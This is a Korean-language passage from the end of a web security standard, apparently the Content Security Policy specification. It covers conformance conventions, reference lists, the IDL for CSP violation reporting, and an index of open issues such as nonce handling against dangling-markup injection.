이 명세의 모든 텍스트는 명시적으로 비규범으로 표시된 섹션, 예시, 주석을 제외하고는 규범적이다. [RFC2119]

이 명세의 예시는 “예를 들어(for example)”라는 말로 시작하거나, class="example"로 규범 텍스트와 분리되어 다음과 같이 표시된다:

이것은 정보 제공용 예시입니다.

정보 제공용 주석은 “참고(Note)”라는 단어로 시작하며, class="note"로 규범 텍스트와 분리되어 다음과 같이 표시된다:

참고, 이것은 정보 제공용 주석입니다.

적합성 알고리즘

알고리즘의 명령형 형태로 표현된 요구사항(예: "앞의 공백 문자를 모두 제거한다" 또는 "false를 반환하고 이 단계를 중단한다")는, 알고리즘을 소개할 때 사용된 주요 단어("must", "should", "may" 등)의 의미로 해석해야 한다.

알고리즘이나 특정 단계로 표현된 적합성 요구사항은, 최종 결과가 동등하다면 어떤 방식으로든 구현할 수 있다. 특히 이 명세에서 정의한 알고리즘은 이해하기 쉽도록 설계되었으며, 성능을 고려한 것이 아니다. 구현자는 최적화를 권장한다.

색인

이 명세에서 정의된 용어

참조로 정의된 용어

참고 문헌

규범적 참고 문헌

[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS Cascading and Inheritance Level 5. 2022년 1월 13일. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez. CSS Object Model (CSSOM). 2021년 8월 26일. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM Standard. 현행 표준. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® Language Specification. URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren. Encoding Standard. 현행 표준. URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren. Fetch Standard. 현행 표준. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; et al. HTML Standard. 현행 표준. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra Standard. 현행 표준. URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Grigorik; Mike West. Reporting API. URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West. Reporting API. 2025년 6월 11일. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. 1997년 3월. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). 2003년 3월. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. Registration Procedures for Message Header Fields. 2004년 9월. Best Current Practice. URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. 2005년 1월. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
S. Josefsson. The Base16, Base32, and Base64 Data Encodings. 2006년 10월. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. Augmented BNF for Syntax Specifications: ABNF. 2008년 1월. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
M. West. Initial Assignment for the Content Security Policy Directives Registry. 2016년 1월. Informational. URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
M. Nottingham. Web Linking. 2017년 10월. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. HTTP Semantics. 2022년 6월. Internet Standard. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Yoshisato Yanagisawa; Monica CHINTALA. Service Workers. 2025년 3월 6일. CRD. URL: https://www.w3.org/TR/service-workers/
[SRI]
Devdatta Akhawe; et al. Subresource Integrity. 2016년 6월 23일. REC. URL: https://www.w3.org/TR/SRI/
[SRI-2]
Frederik Braun. Subresource Integrity. 2025년 7월 6일. WD. URL: https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
Krzysztof Kotowicz. Trusted Types. 2025년 7월 3일. WD. URL: https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren. URL Standard. 현행 표준. URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu. Web IDL Standard. 현행 표준. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings; et al. WebRTC: Real-Time Communication in Browsers. 2025년 3월 13일. REC. URL: https://www.w3.org/TR/webrtc/

참고용 문헌

[APPMANIFEST]
Marcos Caceres; et al. Web Application Manifest. 2025년 5월 5일. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; Alois Reitbauer. Beacon. 2022년 8월 3일. CRD. URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 2016년 12월 15일. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans. Generic cross-browser cross-domain theft. 2009년 12월 28일. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 2021년 1월 28일. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor. CSP 2015. 2015년 11월 23일. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich. H5SC Minichallenge 3: "Sh*t, it's CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML Design Principles. URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum; et al. CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy. 2016년 10월 24일. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark; Mike West; Carlos IbarraLopez. Mixed Content. 2023년 2월 23일. CRD. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. Pixel Perfect Timing Attacks. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill. User Interface Security and the Visibility API. 2016년 6월 7일. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West. Upgrade Insecure Requests. 2015년 10월 8일. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum. Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP). 2021년 3월 15일. URL: https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice. WebSockets Standard. 현행 표준. URL: https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren. XMLHttpRequest Standard. 현행 표준. URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 1999년 11월 16일. REC. URL: https://www.w3.org/TR/xslt-10/

IDL 색인

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

이슈 색인

이런 종류의 내용이 어디에 명세되어 있나요? [ECMA262]에서 유용한 내용을 찾지 못했습니다.
상태 코드를 정확히 어떻게 얻나요? 실제로 어디에 저장하고 있지 않습니다.
스타일시트 로딩은 아직 WHATWG의 HTML에서 Fetch와 통합되어 있지 않습니다. [whatwg/html Issue #968]
이 부분은 더 잘 설명되어야 합니다. [w3c/webappsec-csp Issue #212]
실행 컨텍스트에서 흥미로운 CSSOM 알고리즘을 잠그기 위해 뭔가 조치를 취해야 합니다. CSSOM에는 이를 위한 훅이 없어 보이니, 합리적인 해결책을 함께 마련합시다.
HTML에서 이 오류를 기록할 수 있는 훅이 필요합니다. [whatwg/html Issue #3257]
이 처리는 기존 요소에서 nonce를 훔쳐 인젝션된 스크립트를 로드하는 dangling markup 공격 위험을 완화하기 위한 것입니다. 모든 속성과 값을 검사해야 하므로 비용이 크며, nonce가 있는 script 요소에만 적용하여 영향 최소화하려 합니다. 알고리즘의 영향이 확인될 때까지 "위험"으로 간주해야 할 수 있습니다. [w3c/webappsec-csp Issue #98]
동적으로 삽입된 인라인 스크립트에 대해 'strict-dynamic' 처리가 필요합니다. [w3c/webappsec-csp Issue #426]
현재 HTML 명세의 파싱 알고리즘은 § 6.7.3.1 요소가 nonceable인가? 알고리즘 실행 전에 이 정보를 제거하므로, 실제로 중복 속성을 감지할 수 없게 됩니다. [whatwg/html Issue #3257]